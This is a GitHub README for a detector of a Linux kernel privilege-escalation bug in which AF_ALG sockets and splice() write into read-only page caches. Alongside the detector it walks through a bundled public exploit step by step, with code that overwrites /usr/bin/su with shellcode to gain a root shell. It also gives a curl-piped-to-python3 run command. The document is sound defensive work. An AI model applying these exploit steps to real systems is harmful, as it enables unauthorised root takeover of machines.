Skip to content

codref/copy-fail-detector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 

Repository files navigation

AF_ALG + Splice Page-Cache Write Detector

A comprehensive detector for a class of Linux kernel privilege-escalation vulnerabilities that combine AF_ALG sockets with splice() to write into read-only file page caches.

This repository contains:

  • exp.py – A local copy of the public proof-of-concept exploit that demonstrates the vulnerability. The upstream PoC is published at copy.fail and in Theori's repository as copy_fail_exp.py.
  • detect.py – A safe, read-only detector that replicates the exploit primitives on a temporary file to determine whether the running kernel is vulnerable.

Table of Contents

  1. Executive Summary
  2. The Vulnerability
  3. How the Exploit Works (exp.py)
  4. How the Detector Works (detect.py)
  5. Usage
  6. Technical Deep Dive
  7. References

Executive Summary

Certain Linux kernels contain a bug where data spliced into an AF_ALG cryptographic socket can propagate back through the page cache and modify a read-only file's cached in-memory contents. This allows an unprivileged local attacker to overwrite the page-cache contents of any file they can open read-only — including set-uid binaries such as /usr/bin/su — and escalate privileges to root.

detect.py detects this condition by safely performing the exact same kernel operations on a harmless temporary file and checking whether the page cache is illegitimately modified.


The Vulnerability

What is it?

The vulnerability is a page-cache write via read-only splice. In normal operation:

  • A file opened with O_RDONLY cannot be modified.
  • splice() moves pages between file descriptors without copying through user space.

On vulnerable kernels, when a read-only file descriptor is spliced into a pipe and that pipe is then spliced into an AF_ALG socket, the AF_ALG AEAD path can place page-cache pages in a writable destination scatterlist. Subsequent reads from the same file return the attacker-controlled cached data even though the ordinary file write path was never used.

Version Heuristic

The version check is a hint, not a verdict. Copy Fail depends on whether the running kernel contains the AF_ALG AEAD in-place path and lacks the out-of-place fix. Distribution kernels often backport fixes without changing the upstream-looking version number, so the behavioural test is the authoritative result.

The detector uses this conservative heuristic:

Low High Notes
< 4.14.0 N/A Likely predates the upstream AF_ALG AEAD in-place path associated with Copy Fail.
4.14.0 6.18.99 Potentially affected line. Public reports include 6.12, 6.17, and 6.18 kernels.
> 6.18.99 N/A Newer than the locally tracked public test range; check vendor fix status and trust the behavioural test.

Important: A kernel inside the heuristic range may be patched, and a vendor/custom kernel outside it may still carry vulnerable code. detect.py reports the heuristic separately from the behavioural result for this reason.


How the Exploit Works (exp.py)

exp.py is a local copy of the extremely compact public Python exploit published at copy.fail and in Theori's copy_fail_exp.py. It performs the following actions:

Step-by-Step Breakdown

  1. Open the target file read-only

    f = os.open("/usr/bin/su", os.O_RDONLY)

    The file is opened with O_RDONLY, so no explicit write permission is requested.

  2. Decompress a tiny ELF payload

    e = zlib.decompress(bytes.fromhex("78daab77..."))

    The payload is a minimal /bin/sh shellcode ELF binary.

  3. Set up an AF_ALG socket

    a = socket.socket(38, 5, 0)          # AF_ALG, SOCK_SEQPACKET
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    This creates a kernel crypto API endpoint using the AEAD "authencesn" algorithm.

  4. Configure the socket

    a.setsockopt(279, 1, key_data)       # ALG_SET_KEY
    a.setsockopt(279, 5, None, 4)        # ALG_SET_AEAD_AUTHSIZE

    Option 279 is SOL_ALG. The exploit sets a key and authentication tag size.

  5. Accept an operation socket

    u, _ = a.accept()

    AF_ALG uses accept() to create a per-operation socket (u) that actually performs the crypto work.

  6. Send a message with MSG_MORE

    u.sendmsg([b"A"*4 + chunk], cmsgs, 32768)

    The exploit sends a 4-byte dummy header plus a 4-byte payload chunk, along with three SOL_ALG control messages (IV, authentication data, operation type), using the MSG_MORE flag (0x8000). MSG_MORE tells the kernel that more data is coming, keeping the operation open.

  7. Create a pipe and splice

    r, w = os.pipe()
    os.splice(f, w, count, offset_src=0)
    os.splice(r, u.fileno(), count)
    • The first splice moves data from the read-only file (/usr/bin/su) into the write end of a pipe.
    • The second splice moves data from the read end of the pipe into the AF_ALG socket.
  8. Consume the response

    try:
        u.recv(8 + offset)
    except:
        pass

    The socket may or may not return data; the exploit ignores any error.

  9. Repeat for every 4-byte chunk of the payload

    while i < len(e):
        c(f, i, e[i:i+4])
        i += 4

    The beginning of /usr/bin/su is overwritten 4 bytes at a time with the attacker's tiny ELF payload.

  10. Execute the modified binary

    os.system("su")

    Because /usr/bin/su now contains attacker-controlled code, executing it yields a root shell.

Why AF_ALG + splice?

  • splice() operates on page-cache pages, not on user-space buffers.
  • On vulnerable kernels, the page cache incorrectly assumes that pages moved through a pipe into a socket can be written to.
  • AF_ALG sockets accept data via splice() and, due to the vulnerable in-place AEAD scatterlist layout, allow the original file's page-cache entry to be overwritten with the attacker's data.
  • Because the attacker only needed O_RDONLY access to the file, standard DAC (Discretionary Access Control) does not prevent the overwrite.

How the Detector Works (detect.py)

Detection Strategy

detect.py uses a three-layer strategy:

  1. Version heuristic – Quickly flag potentially affected release lines.
  2. Prerequisite checks – Verify that the exploit primitives are even available on this system.
  3. Behavioural test – Actually perform the exploit sequence on a safe, temporary file and observe whether the page cache is modified.

Layer 3 is the ground truth.

What the Script Does

When you run detect.py it performs the following actions in order:

1. Kernel Version Check

Reads /proc/version, parses the version triple (major.minor.patch), and compares it against the conservative heuristic above. Prints a warning if the version is in a potentially affected line, but does not trust this alone.

2. Prerequisite Checks

Verifies four capabilities required for the exploit to function:

Check Purpose
os.splice() exists Python 3.10+ exposes the splice() syscall
AF_ALG socket creation Kernel must support the crypto socket address family
authencesn algorithm The specific AEAD algorithm used by the exploit must be registered
setsockopt(level, opt, None, optlen) Python must support the special AF_ALG option API

If any check fails, the detector exits with code 2 because it cannot determine vulnerability in the current environment. This commonly happens inside containers or sandboxes that block AF_ALG socket creation.

3. Safe Behavioural Replication

Creates a temporary file with the following properties:

  • Size: 64 KiB (larger than a single page, so multi-page interactions are tested)
  • Content: Starts with \x7fELF (mimics a real binary) followed by null bytes
  • Warm-up: The detector reads the file once to populate the page cache, exactly as /usr/bin/su would be cached in normal system use.
  • Creation: Uses tempfile.mkstemp() so the temporary path is created atomically.

Then, for up to 128 iterations (4-byte chunks), it executes the identical primitive sequence from exp.py:

AF_ALG socket → bind authencesn → setsockopt key → accept()
   ↓
sendmsg(payload_chunk + MSG_MORE + SOL_ALG cmsgs)
   ↓
pipe()
   ↓
splice(ro_fd, pipe_write, count)
   ↓
splice(pipe_read, alg_socket, count)
   ↓
recv() on alg_socket
   ↓
read back from ro_fd and compare with original

If the read-back data differs from the original, the detector immediately reports VULNERABLE and prints the attempted write offset, the first byte that changed, and a small byte window around that change.

Why it is Safe

  • No set-uid binary is touched. The target is a throw-away file in /tmp.
  • No privilege escalation occurs. Even if the kernel is vulnerable, the attacker only overwrites a harmless temporary file that they already own.
  • The payload is benign. The test payload is \x90\x90\x90\x90 (NOP-like bytes), not executable code.
  • All resources are cleaned up. The script uses try/finally blocks and os.unlink() to remove the temporary file regardless of success or failure.
  • No system commands are executed. Unlike exp.py, the detector never runs su or any other privileged binary.

Usage

Running the Detector

Run directly from GitHub:

curl -fsSL https://raw.githubusercontent.com/codref/copy-fail-detector/master/detect.py | python3

Or run from a local checkout:

python3 detect.py

The script requires Python 3.10 or newer (for os.splice()).

Exit Codes

Code Meaning
0 Not vulnerable. The behavioural test completed without detecting any page-cache modification.
1 Vulnerable. The kernel allowed a read-only file's page cache to be modified using the AF_ALG + splice primitive.
2 Inconclusive. Prerequisites are missing or the test infrastructure failed (e.g., algorithm not available, Python too old).

Example Output

Vulnerable System

======================================================================
  Kernel Vulnerability Detector
  AF_ALG + splice page-cache write detection
======================================================================

[*] Kernel version : 6.12.73
    Version heuristic: 6.12.73 is in a potentially affected line (upstream in-place path introduced around 4.14; public reports include 6.12, 6.17, and 6.18; behavioural test is authoritative)

[*] Checking prerequisites ...
    [OK] os.splice() available
    [OK] AF_ALG sockets supported
    [OK] authencesn algorithm available
    [OK] setsockopt(level,opt,None,optlen) works

[*] Running safe behavioural test ...
    Replicating exploit primitives on a temporary file.
    This will take a few seconds.

======================================================================
  RESULT: VULNERABLE

  The kernel allowed modification of a read-only file's page cache
  using AF_ALG + splice primitives.  This matches the exploit
  technique used in exp.py.

  Details:
    • MODIFICATION DETECTED after iteration 1 (attempted offset 0, first changed byte 0)
    •   original [0:16]: 7f454c46000000000000000000000000
    •   new      [0:16]: 90909090000000000000000000000000
  Iterations run: 1
======================================================================

Patched / Not Vulnerable System

======================================================================
  RESULT: NOT VULNERABLE (behavioural)

  The safe replication test did not modify the read-only file.
  The kernel appears to be patched against this technique.

  Details:
    • Completed 128 iterations – no modification detected.
  Iterations run: 128
======================================================================

Technical Deep Dive

AF_ALG Socket Layer

AF_ALG (Address Family ALGorithm) is a Linux-specific socket interface that exposes the kernel's cryptographic API to user space. A typical workflow is:

  1. Create a socket with socket(AF_ALG, SOCK_SEQPACKET, 0).
  2. bind() to a tuple ("type", "algorithm") — e.g. ("aead", "authencesn(hmac(sha256),cbc(aes))").
  3. Configure the socket with setsockopt(SOL_ALG, ...) for keys, IV sizes, etc.
  4. accept() to obtain an operation socket that performs the actual crypto operation.
  5. Send data to the operation socket (plaintext, AAD, etc.).
  6. Receive the result (ciphertext, tag, etc.).

The AF_ALG layer is implemented in crypto/af_alg.c and crypto/algif_aead.c.

splice() and Page-Cache Internals

splice() is a zero-copy data transfer system call. When you splice from a file to a pipe:

  1. The kernel looks up the file's page-cache pages.
  2. It maps those pages into the pipe's buffer (a struct pipe_inode_info).
  3. The pages are passed by reference, not copied.

Normally, a consumer of spliced file data should not be able to write back into the page-cache pages it received by reference. In this bug, the AF_ALG AEAD receive path chains page-cache-backed tag pages into a destination scatterlist used by the crypto operation.

The Write Path

On vulnerable kernels, the sequence:

file_page_cache ──splice──► pipe ──splice──► AF_ALG socket

causes the page-cache page to be modified in-place with the payload that was sent via sendmsg() on the AF_ALG socket. Because the page cache is shared between all readers of the file, any subsequent read() or execve() using that cached page observes the attacker's data while the on-disk file may remain unchanged.

This is particularly dangerous for set-uid binaries because:

  • They are owned by root.
  • Any unprivileged user can open them O_RDONLY.
  • The attacker does not need write permission to the file — only read permission and the ability to trigger the buggy kernel code path.

References

  • man 2 splice – Linux splice() system call
  • man 7 af_alg – Linux AF_ALG socket interface
  • Linux kernel source: crypto/af_alg.c, crypto/algif_aead.c, fs/splice.c
  • CVE-2022-0847 (Dirty Pipe) – Related splice page-cache vulnerability class
  • copy.fail – Original Copy Fail disclosure and public PoC
  • Theori copy_fail_exp.py – Public exploit source mirrored by this repository's exp.py

License

Licensed under the Apache License, Version 2.0. See LICENSE.

This detector is provided for security research, system administration, and defensive purposes only. It is designed to help administrators determine whether their systems need patching. Do not use exp.py on systems you do not own or have explicit permission to test.

About

Safe behavioral detector for the Linux Copy Fail AF_ALG + splice page-cache vulnerability

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages